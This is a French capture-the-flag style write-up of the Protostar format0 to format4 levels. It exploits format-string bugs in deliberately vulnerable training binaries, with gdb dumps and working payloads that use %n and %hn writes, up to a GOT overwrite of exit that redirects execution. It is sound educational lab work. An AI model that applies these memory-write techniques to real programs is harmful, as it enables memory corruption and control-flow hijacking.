Level 0
Le binaire prend un argument sur la ligne de commande et le passe à sprintf
directement ce qui fait que l’on contrôle une chaine de format.
Je vous invite à lire Pwing echo : Exploitation d’une faille de chaîne de format pour plus d’infos sur ce type de vulnérabilités.
Pour résoudre le challenge on dispose de cette indication :
This level should be done in less than 10 bytes of input.
La fonction vulnérable laisse penser qu’on peut la solutionner avec un simple stack overflow :
1
2
3
4
5
6
7
8
9
10
11
12
13
void vuln(char *string)
{
volatile int target;
char buffer[64];
target = 0;
sprintf(buffer, string);
if(target == 0xdeadbeef) {
printf("you have hit the target correctly :)\n");
}
}
Toutefois on a une contrainte demandée qui nous force à utiliser une petite chaine de caractères. On se doute aussi qu’il faut s’en sortir avec une chaine de format :)
L’objectif est de parvenir à mettre la valeur 0xdeadbeef
dans la variable target
.
1
2
3
4
Breakpoint 1, vuln (string=0xffffced8 "AAAA") at format0/format0.c:15
15 in format0/format0.c
gdb-peda$ x/wx $ebp-0xc
0xffffcb4c: 0x00000000
Via gdb
on voit que cette variable est à l’adresse 0xffffcb4c
sur la stack, en ebp-0xc
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
gdb-peda$ disass vuln
Dump of assembler code for function vuln:
0x080483f4 <+0>: push ebp
0x080483f5 <+1>: mov ebp,esp
0x080483f7 <+3>: sub esp,0x68
0x080483fa <+6>: mov DWORD PTR [ebp-0xc],0x0
0x08048401 <+13>: mov eax,DWORD PTR [ebp+0x8]
0x08048404 <+16>: mov DWORD PTR [esp+0x4],eax ; chaine de format du sprintf
0x08048408 <+20>: lea eax,[ebp-0x4c]
0x0804840b <+23>: mov DWORD PTR [esp],eax ; destination du sprintf
0x0804840e <+26>: call 0x8048300 <sprintf@plt>
0x08048413 <+31>: mov eax,DWORD PTR [ebp-0xc]
=> 0x08048416 <+34>: cmp eax,0xdeadbeef
0x0804841b <+39>: jne 0x8048429 <vuln+53>
0x0804841d <+41>: mov DWORD PTR [esp],0x8048510
0x08048424 <+48>: call 0x8048330 <puts@plt> ; prints "you have hit the target correctly :)"
0x08048429 <+53>: leave
0x0804842a <+54>: ret
End of assembler dump.
Et notre buffer destination utilisé par sprintf
est à ebp-0x4c
. Il y a 64 octets entre notre buffer et la variable target
:
1
2
>>> 0x4c - 0xc
64
On va donner à sprintf
une chaine de format qui va représenter des données sur 64 octets puis placer la valeur attendue juste derrière :
1
2
user@protostar:/opt/protostar/bin$ ./format0 `python -c 'import struct; print "%64x" + struct.pack("<I", 0xdeadbeef)'`
you have hit the target correctly :)
Ca marche. sprintf
a utilisé le format %64x
et a représenté sur 64 octets (via du padding) la première valeur qu’il a trouvé sur la stack (ce qu’il y a ne nous intéresse pas ici). Les 4 derniers octets ont alors écrasé la variable comme il fallait.
Level 1
Le binaire correspond à ce code C :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void vuln(char *string)
{
printf(string);
if(target) {
printf("you have modified the target :)\n");
}
}
int main(int argc, char **argv)
{
vuln(argv[1]);
}
Et on dispose d’un indice :
objdump -t is your friend, and your input string lies far up the stack :)
Je peux placer un breakpoint dans la fonction vuln
et observer où notre buffer se trouve dans la stack :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(gdb) b *0x0804841b
Breakpoint 1 at 0x804841b: file format1/format1.c, line 15.
(gdb) r `python -c 'import struct; print "AAAA%142$08x"'`
Starting program: /opt/protostar/bin/format1 `python -c 'import struct; print "AAAA%142$08x"'`
Breakpoint 1, 0x0804841b in vuln (string=0x2 <Address 0x2 out of bounds>) at format1/format1.c:15
15 format1/format1.c: No such file or directory.
in format1/format1.c
(gdb) x/64wx $esp
0xbffff77c: 0x08048435 0xbffff97c 0xb7ff1040 0x0804845b
0xbffff78c: 0xb7fd7ff4 0x08048450 0x00000000 0xbffff818
--- snip ---
0xbffff96c: 0x2f726174 0x2f6e6962 0x6d726f66 0x00317461
(gdb)
0xbffff97c: 0x41414141 0x32343125 0x78383024 0x45535500
Effectivement il faut 512 octets avant d’attendre le début de notre chaine soit 128 dwords.
Il faut jouer un peu avec le padding mais en me servant du format %<position>$08x
je retrouve bien mes données en 129ème position sur la stack :
1
2
user@protostar:/opt/protostar/bin$ ./format1 `python -c 'import struct; print "pAAAAp%129$08x"'`
pAAAAp41414141
On voit bien le 41414141
correspondant à nos AAAA
en hexadécimal.
L’adresse de la variable target
se retrouve dans l’output de objdump
:
1
2
user@protostar:/opt/protostar/bin$ objdump -t format1 | grep target
08049638 g O .bss 00000004 target
Le code attend juste que la variable soit modifiée (différente de zéro). On doit utiliser le format %n
qui indique à printf
d’écrire en mémoire un entier correspondant au nombre de caractères qu’il a affiché. Associé à l’indicateur de position on lui dit d’écrire à l’adresse contenue à la 129ème position sur la stack (adresse sous notre contrôle puisqu’on la reflétée en hexa plus tôt).
1
2
user@protostar:/opt/protostar/bin$ ./format1 `python -c 'import struct; print "p" + struct.pack("<I", 0x08049638) + "p%129$08n"'`
p8pyou have modified the target :)
Bingo ! On a du écrire 6 octets dans la variable, ce qui suffit à passer l’épreuve.
Level 2
Toujours une variable à écraser mais cette fois une valeur spécifique est attendue.
1
2
user@protostar:/opt/protostar/bin$ objdump -t format2 | grep target
080496e4 g O .bss 00000004 target
Autre particularité, la lecture se fait via l’entrée standard :
1
2
3
4
user@protostar:/opt/protostar/bin$ ./format2
AAAA%4$8x
AAAA41414141
target is 0 :(
On doit placer la valeur 64
dans target
. On place donc l’adresse de target
suivie de 60 caractères A
puis le format d’écriture de caractères lus :
1
2
3
4
user@protostar:/opt/protostar/bin$ python -c 'import struct; print struct.pack("<I", 0x080496e4) + "A"*60 + "%4$n"' > /tmp/input
user@protostar:/opt/protostar/bin$ ./format2 < /tmp/input
�AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
you have modified the target :)
Level 3
Toujours grosso-modo la même chose mais cette fois la valeur à écraser est bien plus grosse et seulement 512 octets maximum sont lus sur l’entrée standard :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void printbuffer(char *string)
{
printf(string);
}
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printbuffer(buffer);
if(target == 0x01025544) {
printf("you have modified the target :)\n");
} else {
printf("target is %08x :(\n", target);
}
}
int main(int argc, char **argv)
{
vuln();
}
Je peux placer un breakpoint dans printbuffer
au moment du printf
pour observer la pile. J’obtiens ainsi une indication de où se trouve mon buffer pour ajuster la position dans ma chaine de format.
Notez qu’on pourrait aussi l’obtenir via brute force en relançant le binaire autant de fois que nécessaire.
1
2
3
4
user@protostar:/opt/protostar/bin$ ./format3
AAAA%12$08x
AAAA41414141
target is 00000000 :(
Au lieu d’écraser le dword complet en mémoire, on va écraser deux shorts (16 bits). L’un pour les octets de poids fort de la variable target
et l’autre pour ceux de poids faible. On le fait avec le format %hn
.
La valeur attendue est 0x01025544
. Une moitiée correspond à la valeur 258 et l’autre à 21828 :
1
2
3
4
5
6
7
>>> import struct
>>> struct.pack("<I", 0x01025544)
b'DU\x02\x01'
>>> struct.unpack("<H", b"\x02\x01")
(258,)
>>> struct.unpack("<H", b"DU")
(21828,)
On choppe la valeur de target
:
1
2
user@protostar:/opt/protostar/bin$ objdump -t format3 | grep target
080496f4 g O .bss 00000004 target
Commençons par écrire les octets de poids forts (on commence toujours par la valeur la plus petite et dans ce cas précis ce sont les octets de poids forts) :
1
2
3
4
user@protostar:/opt/protostar/bin$ python -c 'import struct; print struct.pack("<I", 0x080496f4+2) + "A" * 254 + "%12$hn"' > /tmp/input
user@protostar:/opt/protostar/bin$ ./format3 < /tmp/input
�AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
target is 01020000 :(
Ca fonctionne. On part donc sur les octets de poids faible. Il faut penser à retrancher des 21828 octets le nombre de caractères qui ont été affichés précédemment :
1
2
3
4
user@protostar:/opt/protostar/bin$ python -c 'import struct; print struct.pack("<I", 0x080496f4+2) + struct.pack("<I", 0x080496f4)+ "A" * 250 + "%12$hn" + "%021570x" + "%13$hn"' > /tmp/input
user@protostar:/opt/protostar/bin$ ./format3 < /tmp/input
��AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA--- snip ---00000000000000000
you have modified the target :)
Level 4
Cette fois plus de variable à écraser, il faut faire exécuter une fonction hello
présente dans le code. On a un indice consistant à faire afficher les relocations :
objdump -TR is your friend
Seul la fonction exit
est intéressante car appellée après la fonction printf
vulnérable.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
user@protostar:/opt/protostar/bin$ objdump -TR format4
format4: file format elf32-i386
DYNAMIC SYMBOL TABLE:
00000000 w D *UND* 00000000 __gmon_start__
00000000 DF *UND* 00000000 GLIBC_2.0 fgets
00000000 DF *UND* 00000000 GLIBC_2.0 __libc_start_main
00000000 DF *UND* 00000000 GLIBC_2.0 _exit
00000000 DF *UND* 00000000 GLIBC_2.0 printf
00000000 DF *UND* 00000000 GLIBC_2.0 puts
00000000 DF *UND* 00000000 GLIBC_2.0 exit
080485ec g DO .rodata 00000004 Base _IO_stdin_used
08049730 g DO .bss 00000004 GLIBC_2.0 stdin
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
080496fc R_386_GLOB_DAT __gmon_start__
08049730 R_386_COPY stdin
0804970c R_386_JUMP_SLOT __gmon_start__
08049710 R_386_JUMP_SLOT fgets
08049714 R_386_JUMP_SLOT __libc_start_main
08049718 R_386_JUMP_SLOT _exit
0804971c R_386_JUMP_SLOT printf
08049720 R_386_JUMP_SLOT puts
08049724 R_386_JUMP_SLOT exit
Donc 0x08049724
est l’adresse de exit
dans la GOT
et 0x080484b4
est l’adresse de hello
. On trouve l’offset de notre buffer :
1
2
3
user@protostar:/opt/protostar/bin$ ./format4
AAAA%4$08x
AAAA41414141
La bonne nouvelle c’est que l’adresse de exit
dans la GOT
commence déjà par 0x0804
qui est commun à l’adresse de hello
. Il nous suffit d’écraser les deux octets de poids faible.
1
2
(gdb) x/wx 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>: 0x080483f2
0x84b4 - 4
donne 33968
. C’est ce qu’il faut écrire après les 4 octets de l’adresse :
1
2
3
4
user@protostar:/opt/protostar/bin$ python -c 'import struct; print struct.pack("<I", 0x08049724) + "%33968x" + "%4$hn"' > /tmp/input
user@protostar:/opt/protostar/bin$ ./format4 < /tmp/input
--- snip ---
code execution redirected! you win
Il ne reste que les 3 binaires final
et ce sera terminé pour ce Protostar
:)
Publié le 26 janvier 2023